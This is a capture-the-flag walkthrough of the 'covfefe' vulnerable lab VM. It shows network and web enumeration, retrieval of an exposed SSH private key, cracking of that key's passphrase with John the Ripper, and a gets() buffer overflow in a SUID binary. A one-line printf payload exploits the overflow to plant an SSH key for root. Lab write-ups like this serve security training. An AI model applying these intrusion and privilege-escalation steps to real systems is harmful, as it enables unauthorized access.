covfefe

Vulnerable VM image

CTF VM

This system was setup with a host only network on virtualbox 5.2.

Download from vulnhub or magnet

Enumeration

First nmap showed ports 22, 80, and 31337 open:

root@sepha:/pentest# nmap -sS -A -n 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-06 20:19 UTC
Nmap scan report for 192.168.56.101
Host is up (0.00066s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
|   2048 d0:6a:10:e0:fb:63:22:be:09:96:0b:71:6a:60:ad:1a (RSA)
|   256 ac:2c:11:1e:e2:d6:26:ea:58:c4:3e:2d:3e:1e:dd:96 (ECDSA)
|_  256 13:b3:db:c5:af:62:c2:b1:60:7d:2f:48:ef:c3:13:fc (ED25519)
80/tcp    open  http    nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Welcome to nginx!
31337/tcp open  http    Werkzeug httpd 0.11.15 (Python 3.5.3)
| http-robots.txt: 3 disallowed entries
|_/.bashrc /.profile /taxes
|_http-title: 404 Not Found

Running gobuster found really interesting files:

# gobuster -u http://192.168.56.101:31337 -w /pentest/seclists/Discovery/Web_Content/raft-medium-files.txt -e -r -l -opt

Gobuster v1.3                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.56.101:31337/
[+] Threads      : 10
[+] Wordlist     : /pentest/seclists/Discovery/Web_Content/raft-medium-files.txt
[+] Status codes : 200,204,301,302,307
[+] Show length  : true
[+] Follow Redir : true
[+] Expanded     : true
=====================================================
http://192.168.56.101:31337/robots.txt (Status: 200) [Size: 70] [Options: OPTIONS, HEAD, GET]
http://192.168.56.101:31337/.ssh (Status: 200) [Size: 58] [Options: OPTIONS, HEAD, GET]
http://192.168.56.101:31337/.bashrc (Status: 200) [Size: 3526] [Options: OPTIONS, HEAD, GET]
http://192.168.56.101:31337/.bash_logout (Status: 200) [Size: 220] [Options: OPTIONS, HEAD, GET]
http://192.168.56.101:31337/.bash_history (Status: 200) [Size: 2396] [Options: OPTIONS, HEAD, GET]
=====================================================

Taking a guess at http://192.168.56.101:31337/.ssh revealed an odd list, but hey, there’s an ssh key:

# curl -i http://192.168.56.101:31337/.ssh; echo
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 58
Server: Werkzeug/0.11.15 Python/3.5.3
Date: Fri, 06 Apr 2018 16:28:10 GMT

['id_rsa', 'authorized_keys', 'id_rsa.pub', 'known_hosts']

Low priv access

The authorized_keys file contained a username of simon. Trying id_rsa with simon@192.168.56.101 worked, but prompted me for a password.

A little reseach found https://bytesoverbombs.io/cracking-everything-with-john-the-ripper-d434f0f6dc1c?gi=212ba351e011

And the full steps are:

# ssh2john id_rsa > id_rsa.hash
# john --wordlist /pentest/seclists/Passwords/rockyou-75.txt --format=ssh id_rsa.hash
Using default input encoding: UTF-8                                        
Loaded 1 password hash (SSH [RSA/DSA 32/64])                                
Press 'q' or Ctrl-C to abort, almost any other key for status              
starwars         (id_rsa)
1g 0:00:00:00 DONE (2018-04-06 19:33) 33.33g/s 22666p/s 22666c/s 22666C/s starwars    

Using this password, I was able to get a low priv shell as the simon user.

Root privs

Looking around a few things stood out. First:

simon@covfefe:~$ find / -perm /6000 -type f 2>/dev/null
/usr/bin/wall
/usr/bin/bsd-write
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chage
/usr/bin/chfn
/usr/bin/ssh-agent
/usr/bin/crontab                                                                  
/usr/bin/gpasswd                                                                   
/usr/bin/newgrp
/usr/bin/expiry
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device                                                          
/usr/lib/openssh/ssh-keysign                                                                   
/usr/local/bin/read_message
/bin/umount                                                                           
/bin/su                                                                                     
/bin/mount                                                                        
/bin/ping                                                                             
/sbin/unix_chkpwd

/usr/local/bin/read_message looked out of place. It’s not a normal suid binary. Second:

simon@covfefe:~$ cat .bash_history                                                      
read_message
exit                                                                                                                   

Simon’s .bash_history hinted at running read_message.

Running it without arguments was a little helpful:

simon@covfefe:~$ read_message
What is your name?
simon
Sorry simon, you're not Simon! The Internet Police have been informed of this violation.

I tried strings, and less on it. Both are not installed on this system. I looked over it with xxd but nothing jumped out. Running it with the right name was more helpful:

simon@covfefe:~$ read_message -h
What is your name?
Simon
Hello Simon! Here is your message:
Hi Simon, I hope you like our private messaging system.
I'm really happy with how it worked out!
If you're interested in how it works, I've left a copy of the source code in my home directory.
- Charlie Root

Sure enough, the code is available in /root/read_message.c:

simon@covfefe:~$ cat /root/read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
    char program[] = "/usr/local/sbin/message";
    char buf[20];
    char authorized[] = "Simon";
    printf("What is your name?\n");
    gets(buf);
    // Only compare first five chars to save precious cycles:
    if (!strncmp(authorized, buf, 5)) {
        printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
    } else {
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
        exit(EXIT_FAILURE);
    }
}

That execve looks very attractive. It looks like the variables are stacked in a way to make exploiting this super trivial. After a little experimenting, I settled on the following:

simon@covfefe:~$ printf "Simon               /tmp/doit" | read_message

That’s Simon followed by 15 spaces, the the name of a script I controlled in /tmp. The script didn’t do anything terribly fancy, just copied simon’s ssh key over to root’s account and set the permissions so I could login there:

simon@covfefe:~$ ssh root@localhost                                                       
Enter passphrase for key '/home/simon/.ssh/id_rsa':                                         
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent                                                      
permitted by applicable law.                                                          
root@covfefe:~#

Don’t forget that password. :)